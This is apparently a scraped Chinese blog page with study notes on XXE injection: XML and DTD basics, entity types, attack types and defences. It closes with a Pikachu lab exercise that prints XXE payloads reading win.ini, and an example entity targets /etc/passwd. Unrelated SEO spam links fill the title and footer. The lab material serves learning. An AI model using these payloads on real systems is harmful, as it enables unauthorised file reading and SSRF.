当前位置: 首页 > wzjs >正文

代做效果图的网站好怎么免费制作网站

代做效果图的网站好,怎么免费制作网站,wordpress建立企业网站,wordpress公司企业目录 学习xxe前提:了解xml格式 1. XML基础 2. XXE基础知识 2.1. 结构 2.2. 定义与原理 2.3. XML实体类型 2.4. 攻击类型 2.5. 防御措施 3. pikachu靶场xxe练习 学习xxe前提:了解xml格式 1. XML基础 文档结构包括XML声明、DTD文档类型定义&…

目录

学习xxe前提:了解xml格式

1. XML基础

2. XXE基础知识

2.1. 结构

2.2. 定义与原理

2.3. XML实体类型

2.4. 攻击类型

2.5. 防御措施

3. pikachu靶场xxe练习


学习xxe前提:了解xml格式

1. XML基础

文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD文档

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">


内部声明实体

<!ENTITY 实体名称 "实体的值">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

设计它的目的是传输数据。XML语言的出现核心是用来展示及数据的交互

2. XXE基础知识

2.1. 结构

2.2. 定义与原理

XXE(XML External Entity)即XML外部实体注入攻击,利用XML解析器的配置缺陷,通过构造恶意外部实体,读取文件、发起SSRF攻击或执行远程代码。XML允许自定义实体,当解析器处理外部实体(SYSTEM关键字)时,若未严格限制,攻击者可注入恶意实体访问系统资源。

服务端接收了并解析了来自用户端的xml数据,但是没有做到严格的分析和过滤,导致外部实体注入

2.3. XML实体类型

  • 内部实体:在文档内定义,如 <!ENTITY name "value">
  • 外部实体:引用外部资源,如 <!ENTITY ext SYSTEM "file:///etc/passwd">
  • 参数实体:用于DTD内部,以%声明,如 <!ENTITY %n param "content">

%n表示=content,也可以理解为调用。

2.4. 攻击类型

  • 文件读取:利用file://协议读取服务器文件(如/etc/passwd)。
  • SSRF(服务端请求伪造):通过http://等协议探测内网服务。
  • 拒绝服务(DoS):加载大文件(如/dev/random)耗尽资源。
  • 远程代码执行(RCE):需特定环境支持(如PHP的expect模块)。
  • 综合能力,主要学会融会贯通,洞与洞之间的联通,

2.5. 防御措施

  • 禁用外部实体:配置解析器禁用DTD和外部实体(如Java的DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true))。
  • 使用安全解析器:如Python的defusedxml库。
  • 输入过滤:移除XML中的DOCTYPE声明和敏感关键字。
  • 数据格式替代:优先使用JSON等非XML格式。

3. pikachu靶场xxe练习

如图所示,图中具有一个接口,可以接受我所打入的xml代码。

现在我使用下面xml码传输数据

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker "shuaitan">

]>

<name>&hacker;</name>

具有回显

构造payload

接下来利用file协议进行敏感文件查看

查看文件: win.ini 该文件之前在文件包含时也查询过

是系统的默认文件

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">

]>

<name>&hacker;</name>

敏感文件查看:

http://www.dtcms.com/wzjs/490917.html

相关文章:

  • 开奖网站怎么做百度seo网站优化
  • 太原做网站联系方式网页设计页面
  • 真人做爰网站网络推广主要内容
  • 儿童网站设计北京网站优化怎么样
  • 晋江网站建设公司软文什么意思范例
  • 网站开发未完成被起诉网站友情链接购买
  • 吉林公司做网站网络广告形式
  • 汕头澄海深圳品牌seo
  • 建设产品网站课程设计软件开发培训学校
  • 网上做行政能力测试题网站推荐深圳seo优化seo优化
  • wordpress 社交网站吗关键词爱站网关键词挖掘工具
  • 做代还的人都聚集在哪些网站百度指数
  • 公司网站域名如何建立seo有名气的优化公司
  • 做电影网站需要注意什么软件幽默软文广告经典案例
  • 潍坊网站建设维护google移动服务应用优化
  • 徐州企业制作网站国外引擎搜索
  • 做网站用什么版本系统建网站找哪个平台好呢
  • 互联网运营网站中国万网域名注册免费
  • 网站建设中网站制作包括哪些内容百度指数pc版
  • 域名空间都有了怎么做网站东莞seo排名扣费
  • 网站外链发布平台排名检测
  • 做衣服的网站网站排名监控工具
  • 网站设计配色方案百度2023免费
  • 杭州企业网站制作建站abc网站
  • wordpress评论采集插件企业关键词优化公司
  • 个人网站免费域名获取seo描述是什么
  • 没有网站怎么做网推成人技能培训
  • 怎么做网站赚钱的动漫网站百度产品推广怎么收费
  • 手机网站的作用进入百度一下官网
  • 重庆seo整站优化方案范文百度推广关键词规划师